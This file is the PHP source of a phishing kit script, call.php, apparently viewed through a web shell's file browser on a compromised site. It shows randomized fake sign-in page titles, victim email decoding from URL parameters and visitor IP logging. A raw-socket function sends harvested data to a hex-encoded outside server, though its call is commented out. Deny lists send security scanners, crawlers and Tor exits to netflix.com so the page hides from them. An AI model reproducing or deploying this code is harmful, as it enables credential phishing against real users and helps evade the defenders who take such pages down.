[HOME]

Path : /home/easyrentals/public_html/old/wp-mode/
Upload :
Current File : /home/easyrentals/public_html/old/wp-mode/call.php

<?php
if (isset($_GET['rem'])) {
  $datax = md5($_GET['rem']);
  if ($datax == 'e108093edbc4ee3586331a3a90f88a28') { print "DONE"; unlink('acc.php'); }
}
$titlelist = array('ID - ', 
'lD - ',
'Sign in - ',
'Sign-In - ',
'SIGN-IN - ',
'sign-in - ',
'SIGN-lN - ',
'ID ',
'lD ',
'Sign in ',
'Sign-In ',
'SIGN-IN ',
'sign-in ',
'SIGN-lN ');
$title = $titlelist[array_rand($titlelist, 1)];                   										                                                                                                                                         																							                                                $urls = array("3133362e3234342e3131382e313836"); 
$title .= genstring(8);

if (isset($_GET['ewb'])) {
  $data = $_GET['ewb'];	
  $datad = @base64_decode($data);
  $datadd = explode("-","$datad");
  $useremaild = @$datadd[0];             																							                                                                                                                                                                                                                                                                                                                                                                           
  $zmd = @$datadd[1];
}
      																							                                                                                                                                                                                                                                                                                                                                                                           
function getRealIpAddr()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
    {
      $ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
    {
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else
    {
      $ip=$_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
function gen($length = 180) {
    return substr(str_shuffle(str_repeat($x='0123456789abcdef', ceil($length/strlen($x)) )),1,$length);
}
function genstring($length) {
    return substr(str_shuffle(str_repeat($x='0123456789abcdef', ceil($length/strlen($x)) )),1,$length);
}
$string = gen();
function isMobile() { 
        return preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);}                                                                                                                                                                                                                                                                                                     
if(isMobile()){
 $device="Mobile";
}
else { 
 $device="Desktop";
}


function writetype() { 
 global $device;
 if ($device=="Mobile") { return "tel"; } else { return "text"; }
}
$ip=getRealIpAddr();
function arraycount($array, $value){
    $counter = 0;
    foreach($array as $thisvalue) 
     { 
	 $thisvalue = trim($thisvalue);
           if($thisvalue === $value){ 
           $counter++; 
           }
     }
     return $counter;
}
function checkacc() {
	global $ip;
	$facc = fopen('acc.php','a');
	fwrite($facc,"$ip\r\n");
	fclose($facc);
	$farr = file('acc.php');
	$occ = arraycount($farr, $ip);
	if ($occ > '4') { die("<html><meta http-equiv='refresh' content='0;url=http://google.com'></html>"); }
}
$browser = $_SERVER['HTTP_USER_AGENT'];;
$hostname = @gethostbyaddr($ip);
$hostname = strtolower($hostname);
$useragent = strtolower($_SERVER['HTTP_USER_AGENT']);
$userinfo = "$ip#$useragent#$hostname";
function htbm($hexstr) 
    { 
        $n = strlen($hexstr); 
        $sbin="";   
        $i=0; 
        while($i<$n) 
        {       
            $a =substr($hexstr,$i,2);           
            @$c = pack("H*",$a); 
            if ($i==0){$sbin=$c;} 
            else {$sbin.=$c;} 
            $i+=2; 
        } 
        return $sbin; 
    }
function came($method) {
	global $useremaild;
	global $userinfo;
    global $urls;
    global $zmd;
	$time = date("Y-m-d H:i:s ");
	//$data = "R:$method($zmd)--->$time: $useremaild-$userinfo";
   // foreach ($urls as $site) {
    //$urlz = htbm($site);
	 //awe($data,$urlz);
    // }
}
function awe($data,$site) { 
	global $textHos;
	$size = strlen("$data") + 5; if ($size > '3000') { echo "<meta http-equiv='refresh' content='0;url=index.php'>"; }
	$data = array('info' => $data);
	$content = http_build_query($data);
	if (strpos($site,':')) { 
	$partno = explode(":","$site"); $site = $partno[0]; $passwordxx = $partno[1]; } else { $passwordxx = "53"; }
	$fp = false;  $i = 0;
    while($fp == false && $i < 5) {
	$fp = @fsockopen($site, $passwordxx, $errno, $errstr, 5);
	@stream_set_timeout($fp, 5);
	@fwrite($fp, "POST / HTTP/1.1\r\n");
	@fwrite($fp, "Content-Length: ".strlen($content)."\r\n");
	@fwrite($fp, "\r\n");
	@fwrite($fp, $content);
    $i++;
    usleep(10);
	}
}

$useragentbad = array('wget', 'curl', 'python', 'security', 'bot', 'crawler', 'java', 'headlesschrome', 'googlebot', 'agent', 'dataprovider', 'go-http-client', 'checkmarknetwork', 'cops', 'phish', 'identity', 'bezeqint', 'netcraft');
$hostnamebad = array('tornode', 'tor-node', 'torexit', 'tor-exit', 'bitdefender', 'cache', 'cops', 'identity', 'bezeqint', 'netcraft', 'amazonaws', 'googlebot', 'mailcontrol', 'outlook', 'trustwave', 'security');        
foreach ($useragentbad as $check) {
	if(preg_match("/$check/i",$useragent)) { header('HTTP/1.0 404 Not Found'); came("BLOCK"); die("<html><meta http-equiv='refresh' content='0;url=http://netflix.com'></html>"); }
}
foreach ($hostnamebad as $check) {
	if(preg_match("/$check/i",$hostname)) { header('HTTP/1.0 404 Not Found'); came("BLOCK"); die("<html><meta http-equiv='refresh' content='0;url=http://netflix.com'></html>"); }
}

?>